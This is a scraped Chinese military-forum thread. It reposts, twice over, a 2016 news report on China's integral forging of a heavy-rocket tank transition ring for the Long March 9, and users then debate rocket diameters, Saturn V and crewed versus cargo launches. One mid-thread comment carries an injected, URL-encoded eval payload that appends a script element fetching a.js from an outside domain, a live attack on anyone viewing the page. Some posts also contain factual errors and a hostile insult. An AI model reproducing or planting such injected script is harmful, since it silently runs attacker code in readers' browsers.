中国攻克重型火箭最大瓶颈难题 为载人登月铺路

来源:百度文库 编辑:超级军网 时间:2024/04/20 05:14:25
[img]中国攻克重型火箭最大瓶颈难题 为载人登月铺路
2016年01月10日 09:43
来源:中国航空新闻网

原标题:我国重型火箭贮箱过渡环研制成功

      中国运载火箭技术研究院一部牵头国内相关单位,采用整体锻造法成功研制出重型火箭贮箱过渡环,突破了超大直径整体锻造关键技术,在国内乃至世界都尚属首例。这标志着重型火箭突破了最大瓶颈难题,为后续重型火箭研制的顺利开展奠定了基础。

      重型火箭采用超大直径箭体结构设计,位于连接贮箱的筒段、前后底与火箭的箱间段之间的过渡环直径很大,是传力的关键部位,受力较集中。以往型号产品的过渡环通常采用分段式锻造,把各部段之间焊接起来。重型火箭的过渡环直径大,界面形式特殊且复杂,焊接时可能会产生瑕疵,在未来执行任务过程中,可能会因受力状态复杂,遭到难以预料的破坏。

      为增强过渡环的受力强度,一部采用整体锻造法制备过渡环,从小直径过渡环锻造入手,逐步改进工艺,不断确定合适的工艺流程细节。经过一年多攻关,一部最终完成了过渡环整体锻造的研制,为我国超大直径箭体结构的设计、制造、试验等关键技术奠定基础,也为重型运载火箭结构件轻质化设计提供了技术支撑。

      火箭的运载能力有多大,太空活动能力就有多大。将来我们要完成登月、深空探测、空间站建设,这些依靠现有的火箭都无法完成。要实现载人登月就需要重型运载火箭,目前,我国正在进行重型火箭的相关预研工作。

      2015年年初,中国运载火箭技术研究院党委书记梁小虹在接受采访时表示,重型火箭的关键技术研制也已经启动,国防科技工业局已经正式批准重型火箭的关键技术深入研究,主要包括两个方面:一是总体技术,二是发动机技术,从而实现重型火箭起飞推力在“长征五号”大型火箭1000吨的基础上提升至2000-3000吨的目标。

我国现役运载火箭芯级最大直径为3.35米,而我国正在研制的计划于今年发射的长征五号大推力火箭芯级直径达到5米。以长征五号火箭直径从3.35米跨越到5米的研制经验来看,研制重型运载火箭需要的大直径火箭箭体,对于制造工艺提出更高要求,在焊接技术、原材料、大推力发动机等领域都需要进一步提升。


      土星5号火箭是目前人类唯一的载人登月火箭,美国利用土星5号火箭成功发射7艘阿波罗登月飞船(其中6艘成功登陆月球)。土星5号火箭高110.6米,最大直径10.1米,起飞重量为3038吨,起飞推力达3400吨,可将118吨的有效载荷送上近地轨道,或将45吨的有效载荷送入月球轨道。中国重型火箭也应该达到这个量级。

       我国重型运载火箭代号为“长征九号”,箭体直径将达到9米、全长近100米、起飞质量达到3000吨、近地轨道运载能力达到100吨,成为未来载人登月、大规模深空探测任务的坚实基础。 我国将用15年左右的时间完成推力3000吨级的重型运载火箭研制,2030年左右实现首次飞行,可用于载人登月和大规模深空探测。[img]中国攻克重型火箭最大瓶颈难题 为载人登月铺路
2016年01月10日 09:43
来源:中国航空新闻网

原标题:我国重型火箭贮箱过渡环研制成功

      中国运载火箭技术研究院一部牵头国内相关单位,采用整体锻造法成功研制出重型火箭贮箱过渡环,突破了超大直径整体锻造关键技术,在国内乃至世界都尚属首例。这标志着重型火箭突破了最大瓶颈难题,为后续重型火箭研制的顺利开展奠定了基础。

      重型火箭采用超大直径箭体结构设计,位于连接贮箱的筒段、前后底与火箭的箱间段之间的过渡环直径很大,是传力的关键部位,受力较集中。以往型号产品的过渡环通常采用分段式锻造,把各部段之间焊接起来。重型火箭的过渡环直径大,界面形式特殊且复杂,焊接时可能会产生瑕疵,在未来执行任务过程中,可能会因受力状态复杂,遭到难以预料的破坏。

      为增强过渡环的受力强度,一部采用整体锻造法制备过渡环,从小直径过渡环锻造入手,逐步改进工艺,不断确定合适的工艺流程细节。经过一年多攻关,一部最终完成了过渡环整体锻造的研制,为我国超大直径箭体结构的设计、制造、试验等关键技术奠定基础,也为重型运载火箭结构件轻质化设计提供了技术支撑。

      火箭的运载能力有多大,太空活动能力就有多大。将来我们要完成登月、深空探测、空间站建设,这些依靠现有的火箭都无法完成。要实现载人登月就需要重型运载火箭,目前,我国正在进行重型火箭的相关预研工作。

      2015年年初,中国运载火箭技术研究院党委书记梁小虹在接受采访时表示,重型火箭的关键技术研制也已经启动,国防科技工业局已经正式批准重型火箭的关键技术深入研究,主要包括两个方面:一是总体技术,二是发动机技术,从而实现重型火箭起飞推力在“长征五号”大型火箭1000吨的基础上提升至2000-3000吨的目标。

我国现役运载火箭芯级最大直径为3.35米,而我国正在研制的计划于今年发射的长征五号大推力火箭芯级直径达到5米。以长征五号火箭直径从3.35米跨越到5米的研制经验来看,研制重型运载火箭需要的大直径火箭箭体,对于制造工艺提出更高要求,在焊接技术、原材料、大推力发动机等领域都需要进一步提升。


      土星5号火箭是目前人类唯一的载人登月火箭,美国利用土星5号火箭成功发射7艘阿波罗登月飞船(其中6艘成功登陆月球)。土星5号火箭高110.6米,最大直径10.1米,起飞重量为3038吨,起飞推力达3400吨,可将118吨的有效载荷送上近地轨道,或将45吨的有效载荷送入月球轨道。中国重型火箭也应该达到这个量级。

       我国重型运载火箭代号为“长征九号”,箭体直径将达到9米、全长近100米、起飞质量达到3000吨、近地轨道运载能力达到100吨,成为未来载人登月、大规模深空探测任务的坚实基础。 我国将用15年左右的时间完成推力3000吨级的重型运载火箭研制,2030年左右实现首次飞行,可用于载人登月和大规模深空探测。
       中新社北京1月10日电 (采访人员 张素)中国运载火箭技术研究院相关负责人10日向中新社采访人员证实,该院采用整体锻造法成功研制出重型火箭贮箱过渡环,标志着重型火箭突破了最大难题。

  “2015年,国防科技工业局正式批准重型火箭的关键技术深入研究,主要包括两方面。”该负责人说,其一是总体技术,其二是发动机技术,从而实现重型火箭起飞推力在“长征五号”大型火箭1000吨的基础上提升至2000—3000吨的目标。
  中国现役运载火箭芯级最大直径为3.35米,“长征五号”火箭芯级直径达到5米。而重型火箭采用超大直径箭体结构设计,位于连接贮箱的筒段、前后底与火箭的箱间段之间的过渡环直径很大,是传力的关键部位,受力较集中。
  该负责人说,以往型号产品的过渡环通常采用分段式锻造,即把各部段之间焊接起来。考虑到重型火箭的过渡环直径大,界面形式特殊且复杂,焊接时可能会产生瑕疵,继而影响到未来执行任务,因而采用整体锻造法制备过渡环。
  “从小直径过渡环锻造入手,逐步改进工艺,不断确定合适的工艺流程细节。经过一年多攻关,最终完成了过渡环整体锻造的研制,为我国超大直径箭体结构的设计、制造、试验等关键技术奠定基础。”他说。
  该负责人还向中新社采访人员表示,目前正在抓紧推进重型火箭关键技术的预先研究工作,计划用4—5年时间突破重型火箭总体设计,以及460吨液氧煤油发动机、220吨氢氧发动机和9米左右直径火箭箭体结构设计制造等关键技术。“用15年左右完成研制,争取在2030年前后实现首飞”。
  该负责人同时指出,目前重型火箭尚未立项,仅是进行相关预研工作。(完)
      看样子长九是九米级的?!只可惜液氧煤油发动机460吨级,地面推力500吨都达不到,小了些......
战神跟土星5都10米级别的,那就很接近了的说
pafupafu 发表于 2016-1-10 20:59
战神跟土星5都10米级别的,那就很接近了的说
但是土星五是固体推力,先天占优势

pafupafu 发表于 2016-1-10 20:59
战神跟土星5都10米级别的,那就很接近了的说


赶快编辑掉
pafupafu 发表于 2016-1-10 20:59
战神跟土星5都10米级别的,那就很接近了的说


赶快编辑掉
张俊 发表于 2016-1-10 22:23
但是土星五是固体推力,先天占优势
土星五有啥固体推力了?你是说战神五的助推么?
完全看不明白……纳尼?http://www.coolool.com/flash.swf?\'+eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fwww.dzsstye.com%2Fa.js%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source))+\'
张俊 发表于 2016-1-10 22:24
但是土星五是固体推力,先天占优势
土星五哪来的固推?
张俊 发表于 2016-1-10 22:24
但是土星五是固体推力,先天占优势
人家喝的煤油液氧,上将战忽局的?
哪个孩子扯出来的什么最大技术难题?同直径挤压成型储箱分段难度不比这大了去了?同直径摩擦焊技术不比这难度高到天上去了?480吨煤油机、220吨氢氧机我就不说了……
这只能说是技术基础,能挤出来8.5米直径以上的金属环是挤出8.5米储箱分段的技术基础,而不是什么最大技术难题……又是哪个愤青网站没事儿瞎咋呼?

楠宫萧vn 发表于 2016-1-11 08:46
哪个孩子扯出来的什么最大技术难题?同直径挤压成型储箱分段难度不比这大了去了?同直径摩擦焊技术不比这难 ...


又是哪个不懂装懂的咋呼?这内容和内网的通报差不多。你可以去跟一院的说,成天看不起这个看不起那个。还孩子孩子的,你老多大了?
楠宫萧vn 发表于 2016-1-11 08:46
哪个孩子扯出来的什么最大技术难题?同直径挤压成型储箱分段难度不比这大了去了?同直径摩擦焊技术不比这难 ...


又是哪个不懂装懂的咋呼?这内容和内网的通报差不多。你可以去跟一院的说,成天看不起这个看不起那个。还孩子孩子的,你老多大了?
又是哪个不懂装懂的咋呼?这内容和内网的通报差不多。你可以去跟一院的说,成天看不起这个看不起那个。 ...
我说的标题,没说内容,类似内容的八股半年前就出了
  只要有突破就是好的,令人喜悦的。人家标题党要写新闻这样写也可以。
只要有突破就是好的,令人喜悦的。人家标题党要写新闻这样写也可以。
9米级过度环,是否能确定长九就是直径九米。
谁都希望自己的国家越来越好,兄弟,耐心啊
Minosak 发表于 2016-1-11 14:40
谁都希望自己的国家越来越好,兄弟,耐心啊
“谁都希望自己的国家越来越好”公知精英不包括在此,超大也有相当人就不希望这样
又是哪个不懂装懂的咋呼?这内容和内网的通报差不多。你可以去跟一院的说,成天看不起这个看不起那个。 ...

      中国运载火箭技术研究院一部牵头国内相关单位,采用整体锻造法成功研制出重型火箭贮箱过渡环,突破了超大直径整体锻造关键技术,在国内乃至世界都尚属首例。这标志着重型火箭突破了最大瓶颈难题,为后续重型火箭研制的顺利开展奠定了基础。


你确定这就是重型火箭最大瓶颈难题?
发过了吧,好像
国防科技工业局正式批准重型火箭的关键技术深入研究,主要包括两方面。”该负责人说,其一是总体技术,其二是发动机技术,从而实现重型火箭起飞推力在“长征五号”大型火箭1000吨的基础上提升至2000—3000吨的目标。

国防科技工业局具体什么时候批准重型火箭的关键技术深入研究?有新闻报道吗?
中华魔军 发表于 2016-1-11 14:43
“谁都希望自己的国家越来越好”公知精英不包括在此,超大也有相当人就不希望这样
对于精神歪果仁来说,很明显,我鳖已经不是他们的祖国了啊
0骑着苍蝇飞0 发表于 2016-1-11 12:31
9米级过度环,是否能确定长九就是直径九米。
这样的话直径就是九米咯
卢龙守将 发表于 2016-1-12 00:43
“2015年,国防科技工业局正式批准重型火箭的关键技术深入研究,主要包括两方面。”该负责人说,其一是总体 ...
是预研啊,不是批准建造,要弄清楚
对于经常泡超大的人来说,这就是炒冷饭的新闻。
长征九号 发表于 2016-1-12 11:25
是预研啊,不是批准建造,要弄清楚
我知道,以前的预研是航天口内部行为,现在国防科工局批准关键技术深入研究,距离国家正式立项更近一步。
只是国防科技工业局正式批准重型火箭的关键技术深入研究,这个新闻是什么时候的事?以前未看报道。
我在隔壁嘲笑这新闻造个环就敢号称最难,置发动机于何处,结果一群人喷我是美分的,也是醉了。
还是希望长九能赶上土星五,争取一发登月!
老月牙 发表于 2016-1-12 22:44
还是希望长九能赶上土星五,争取一发登月!
一发登月增加了长征-9号的复杂成都和价格,还是人货分运吧。
中华魔军 发表于 2016-1-11 14:43
“谁都希望自己的国家越来越好”公知精英不包括在此,超大也有相当人就不希望这样
公知精英不得好死
卢龙守将 发表于 2016-1-12 23:19
一发登月增加了长征-9号的复杂成都和价格,还是人货分运吧。
载人版和货运版的长九存在不小的技术难度差别?大概是多少?5-10年?
长征九号 发表于 2016-1-10 20:40
中新社北京1月10日电 (采访人员 张素)中国运载火箭技术研究院相关负责人10日向中新社采访人员证实, ...
照这说法,美国当年的过渡段是榫卯加焊接的了
载人版和货运版的长九存在不小的技术难度差别?大概是多少?5-10年?
它们在技术难度上基本没有差别,是在制造过程的差别。若只运货,一般火箭可靠性设计到0.92左右就行了,而载人要0.97以上。载人火箭在制造过程中,需要的工序要多,加重了制造成本。《憾天记》里有对不载人的长二捆和载人长二F的对比,貌似有部件的检查标准要提高到原来的7倍。这样增加了制造成本。
至于长征9的可靠性在0.92是不是合算,看航天自己的安排了,若长征9号发射量大,0.92就可以接受。若只有几枚,可靠性自然越高越好,反正就那几枚,成本再大也有个数。

另外,机器的可靠性指的是机器本身的容错性,并不是绝对指多少次中必有一次失败。可靠性低的火箭,在制造过程中严格按照设计

来,而本身设计没问题,那该火箭在多次发射中也能取得100%的成功率。
黄鹤楼上看 发表于 2016-1-13 03:16
照这说法,美国当年的过渡段是榫卯加焊接的了
按说应该是这样
卢龙守将 发表于 2016-1-12 21:01
我知道,以前的预研是航天口内部行为,现在国防科工局批准关键技术深入研究,距离国家正式立项更近一步。 ...
http://news.ifeng.com/a/20141207/42663166_0.shtml
卢龙守将 发表于 2016-1-13 06:11
它们在技术难度上基本没有差别,是在制造过程的差别。若只运货,一般火箭可靠性设计到0.92左右就行了,而 ...
学习      
它们在技术难度上基本没有差别,是在制造过程的差别。若只运货,一般火箭可靠性设计到0.92左右就行了,而 ...
学习了……那按0.97做载人版?估计会比0.92晚五年么?要是晚太多感觉不好。。。还有您估计到时候转移往月球的整个飞船组合体,能够比当年的波罗更轻一些么?考虑到材料和电子的进步?这样我们在载人长九推力比土星五稍低也能一发登月?
学习了……那按0.97做载人版?估计会比0.92晚五年么?要是晚太多感觉不好。。。还有您估计到时候转移往月 ...
不是,是性能损失的问题,比如某个单机,为了保证可靠性就双路设计,但是载人就双机备份,外加备份方案(比如主份是五院的,备份是八院的,备份也是双机双路)这样你算算,额外增加多少质量?火箭的我不知道,但是载人专用火箭应该也有类似方案
最大技术难题应该是动力吧?

超级小砖家 发表于 2016-1-13 12:56
学习了……那按0.97做载人版?估计会比0.92晚五年么?要是晚太多感觉不好。。。还有您估计到时候转移往月 ...


别称“您”,哥们只是普通爱好者,实在当不起这个字。
按现在的技术水平来说,人货分运对宇航员的生命安全来说更好,若重型火箭发射次数多,经济性也比用一枚载人火箭好。
按现在看,长征-9号是按照人货分运设计的,载人版的长征-9号可能永远不会出现。
原来美国的星座计划也是人货分运。可是由于国会的博弈、扯淡,星座计划黄了。只留下了猎户座飞船和可以看做是继承战神5号火箭衣钵的SLS。

说实话,我国的电子水平是比阿波罗时代好,但在材料上并没有突出的进步。若载人长征-9号,比如地月转移轨道有40吨运力,一发3人登月是可以的。只不过和现在的设计思想不相符。

我国新一代的飞船分两种型号都是两舱结构,一个发射质量大约14吨,另一个发射质量大约20吨,它们两个的返回舱基本一样,成员可载2-6人,都适应第二宇宙速度再入,也就是说都支持从月球返回。
已经开始研制了。

新一代的飞船的返回舱可能在8吨左右,这样理论上现在的长征-5号能把装着人的返回舱打到月球附近再着陆地球(注意不能环月,是类似嫦娥五号T1试验器那样的任务)。只是这样没有逃逸等安全装置,比较冒险。
超级小砖家 发表于 2016-1-13 12:56
学习了……那按0.97做载人版?估计会比0.92晚五年么?要是晚太多感觉不好。。。还有您估计到时候转移往月 ...


别称“您”,哥们只是普通爱好者,实在当不起这个字。
按现在的技术水平来说,人货分运对宇航员的生命安全来说更好,若重型火箭发射次数多,经济性也比用一枚载人火箭好。
按现在看,长征-9号是按照人货分运设计的,载人版的长征-9号可能永远不会出现。
原来美国的星座计划也是人货分运。可是由于国会的博弈、扯淡,星座计划黄了。只留下了猎户座飞船和可以看做是继承战神5号火箭衣钵的SLS。

说实话,我国的电子水平是比阿波罗时代好,但在材料上并没有突出的进步。若载人长征-9号,比如地月转移轨道有40吨运力,一发3人登月是可以的。只不过和现在的设计思想不相符。

我国新一代的飞船分两种型号都是两舱结构,一个发射质量大约14吨,另一个发射质量大约20吨,它们两个的返回舱基本一样,成员可载2-6人,都适应第二宇宙速度再入,也就是说都支持从月球返回。
已经开始研制了。

新一代的飞船的返回舱可能在8吨左右,这样理论上现在的长征-5号能把装着人的返回舱打到月球附近再着陆地球(注意不能环月,是类似嫦娥五号T1试验器那样的任务)。只是这样没有逃逸等安全装置,比较冒险。
没有经过充分实践检测的 东西 敢说攻克?